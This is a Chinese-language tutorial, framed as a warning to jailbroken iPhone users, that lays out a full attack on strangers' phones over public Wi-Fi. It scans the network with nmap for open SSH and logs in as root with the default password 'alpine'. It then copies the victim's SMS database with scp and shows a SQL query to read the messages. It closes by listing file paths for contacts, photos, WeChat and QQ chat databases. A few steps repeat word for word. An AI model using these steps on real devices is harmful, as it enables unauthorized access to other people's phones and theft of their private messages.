本文针对那些已越狱却不注意信息安全的人们,未经许可,严禁转载。
ssh是一个远程登录协议,建立在应用层和传输层的基础上,如果你的手机或电脑安装并开放了ssh, 而其他人得知了账号密码,那么只要主机在线的情况下,别人可以随时登录你的手机或电脑,拥有最高权限。
本文以如何获得手机短信为例.....
1. 在公共场合里,若有wifi开放,那么所有连上wifi的人都是处于一个局域网内的,ssh的端口号为22,因此首先需要查看所有连wifi的主机,哪些安装ssh并开放了22端口(一般越狱会默认安装了此服务)。
根据自己手机获取局域网段,以网段192.168.1.*为例:
Linux下: nmap -p22 192.168.1.*
以下结果即为192.168.1.154开放了ssh(STATE 为open)
Nmap scan report for bogon (192.168.1.154)
Host is up (0.050s latency).
PORT STATE SERVICE
22/tcp open ssh
2. 找到开放了的后,就是登录了,iphone 默认的ssh 密码为alpine(90%的越狱用户不会修改)
登录命令 : sudo ssh 192.168.1.154
然后会提示输出密码,输入 alpine 若成功登录,只要第一步成功 ,第二步成功率在80%往上。。
登录命令 : sudo ssh 192.168.1.154
然后会提示输出密码,输入 alpine 若成功登录,只要第一步成功 ,第二步成功率在80%往上。。
3.因为我们要拿到短信数据 ,短信数据库位置为 /var/root/Library/SMS/sms.db
scp root@192.168.1.154: /var/root/Library/SMS/sms.db ~/
sms.db即为短信的数据库, 而上面的命令便将对方手机的短信数据库copy到了本地。
接下来便是解析数据库文件了
4. 安装firefox浏览器,安装sqlite manager 插件
5.将sms.db 改名为sms.sqlite 并用sqlite manager 打开
6. sms.db 以handle表来保存手机号,message来保存信息,chat_message_join来保存关联的
查询语句为:
select id ,text from chat_message_join, handle,message
where handle.rowid=chat_message_join.chat_id and
message.rowid=chat_message_join.message_id
7.展现在你眼前的,便是短信记录...
7.展现在你眼前的,便是短信记录...
注:现在iphone手机的各个数据库的位置及字段跟以往稍有不同。
后记: 常用的信息数据库位置
通讯录数据库: /var/root/Library/AddressBook/AddressBook.sqlitedb
照片: /var/mobie/Media/DCIM/
微信聊天记录:/var/mobile/Applications/E832764E-2AB7-4DD0-B52C-46AED7936220/documents/MM.db (我的手机是这,其他手机大同小异)
qq记录: /var/mobile/Applications/QQ/Documents/contents/QQ号码/QQ.db